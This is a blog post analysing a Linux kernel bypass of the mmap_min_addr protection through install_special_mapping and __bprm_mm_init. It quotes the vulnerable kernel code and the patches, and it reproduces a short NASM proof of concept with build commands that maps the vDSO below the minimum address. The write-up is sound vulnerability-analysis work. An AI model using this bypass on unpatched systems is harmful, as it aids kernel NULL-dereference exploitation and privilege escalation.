xorl %eax, %eax

taviso’s install_special_mapping Bypass for mmap_min_addr

leave a comment »

It seems that recently everyone in the security industry tries to discover new ways of bypassing the Linux kernel’s mmap_min_addr protection. Each of these disclosures results in hitting the exploitation of one of the most common bug classes of the Linux kernel, NULL pointer dereferences.
After this small introduction, let’s have a look at the latest one which was disclosed by Tavis Ormandy. The first buggy code starts at fs/exec.c in the routine below.

/*
 * Create a new mm_struct and populate it with a temporary stack
 * vm_area_struct.  We don't have enough context at this point to set the stack
 * flags, permissions, and offset, so we use temporary values.  We'll update
 * them later in setup_arg_pages().
 */
int bprm_mm_init(struct linux_binprm *bprm)
{
        int err;
        struct mm_struct *mm = NULL;

        bprm->mm = mm = mm_alloc();
      ...
        err = __bprm_mm_init(bprm);
        if (err)
                goto err;

        return 0;

 err:
      ...
}

The pointer passed to __bprm_mm_init() is a structure which is used to hold the arguments that are used when loading binaries as we can read at include/linux/binfmts.h where it is defined. Tavis Ormandy noticed that __bprm_mm_init() is missing the ‘mmap_min_addr’ security check since…

static int __bprm_mm_init(struct linux_binprm *bprm)
{
        int err;
        struct vm_area_struct *vma = NULL;
        struct mm_struct *mm = bprm->mm;

        bprm->vma = vma = kmem_cache_zalloc(vm_area_cachep, GFP_KERNEL);
      ...
        /*
         * Place the stack at the largest stack address the architecture
         * supports. Later, we'll move this to an appropriate place. We don't
         * use STACK_TOP because that can depend on attributes which aren't
         * configured yet.
         */
        BUG_ON(VM_STACK_FLAGS & VM_STACK_INCOMPLETE_SETUP);
        vma->vm_end = STACK_TOP_MAX;
        vma->vm_start = vma->vm_end - PAGE_SIZE;
        vma->vm_flags = VM_STACK_FLAGS | VM_STACK_INCOMPLETE_SETUP;
        vma->vm_page_prot = vm_get_page_prot(vma->vm_flags);
        INIT_LIST_HEAD(&vma->anon_vma_chain);
        err = insert_vm_struct(mm, vma);
      ...
}

It initializes the VMA (Virtual Memory Address) structure and passes it to insert_vm_struct() without performing any prior checks. This was killed with this patch:

    INIT_LIST_HEAD(&vma->anon_vma_chain);
+
+   err = security_file_mmap(NULL, 0, 0, 0, vma->vm_start, 1);
+
+   if (err)
+       goto err;
+
    err = insert_vm_struct(mm, vma);
+
    if (err)

Which uses security_file_mmap() to check the starting address of the VMA before calling insert_vm_struct(). The next one being patched is available at mm/mmap.c where the following routine resides.

/*
 * Called with mm->mmap_sem held for writing.
 * Insert a new vma covering the given region, with the given flags.
 * Its pages are supplied by the given array of struct page *.
 * The array can be shorter than len >> PAGE_SHIFT if it's null-terminated.
 * The region past the last page supplied will always produce SIGBUS.
 * The array pointer and the pages it points to are assumed to stay alive
 * for as long as this mapping might exist.
 */
int install_special_mapping(struct mm_struct *mm,
                            unsigned long addr, unsigned long len,
                            unsigned long vm_flags, struct page **pages)
{
        struct vm_area_struct *vma;

        vma = kmem_cache_zalloc(vm_area_cachep, GFP_KERNEL);
      ...
        INIT_LIST_HEAD(&vma->anon_vma_chain);
        vma->vm_mm = mm;
        vma->vm_start = addr;
        vma->vm_end = addr + len;

        vma->vm_flags = vm_flags | mm->def_flags | VM_DONTEXPAND;
        vma->vm_page_prot = vm_get_page_prot(vma->vm_flags);

        vma->vm_ops = &special_mapping_vmops;
        vma->vm_private_data = pages;

        if (unlikely(insert_vm_struct(mm, vma))) {
      ...
        return 0;
}

The concept is pretty much the same having a VMA inserted to the process list without any security checks being performed. As you might have guessed, the patch was:

    vma->vm_private_data = pages;

+   if (security_file_mmap(NULL, 0, 0, 0, vma->vm_start, 1)) {
+       kmem_cache_free(vm_area_cachep, vma);
+       return -EPERM;
+   }
+
    if (unlikely(insert_vm_struct(mm, vma))) {

In his email, Tavis Ormandy also gave a PoC that demonstrates the bypass on x86_64 architecture. His ‘install_special_mapping.s’ assembly code was this:

section .bss
    resb BSS_SIZE
section .text
    global _start
    _start:
        mov     eax, __NR_pause
        int     0x80

Which has nothing notable and it was compiled using NASM assembler like this:

$ nasm -D__NR_pause=29 -DBSS_SIZE=0xfffed000 -f elf -o install_special_mapping.o install_special_mapping.s
$ ld -m elf_i386 -Ttext=0x10000 -Tbss=0x11000 -o install_special_mapping install_special_mapping.o

You can read that during linking he sets .TEXT section starting at 0x10000 and .BSS at 0x11000. Because of the previously set .BSS segment’s size (which was defined as 0xfffed000) and the special mapping addresses of .TEXT and .BSS segments, it forces the VDSO being mapped in 0x0000f000 page as we can see from his memory mappings:

$ cat /proc/14303/maps 
0000f000-00010000 r-xp 00000000 00:00 0                                  [vdso]
00010000-00011000 r-xp 00001000 00:19 2453665                            /home/taviso/install_special_mapping
00011000-ffffe000 rwxp 00000000 00:00 0   

Even though mmap_min_addr was set to 0xFFFF this mapping was possible because it doesn’t perform the security check inside install_special_mapping().

Written by xorl

December 9, 2010 at 19:20

Posted in bugs, linux

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s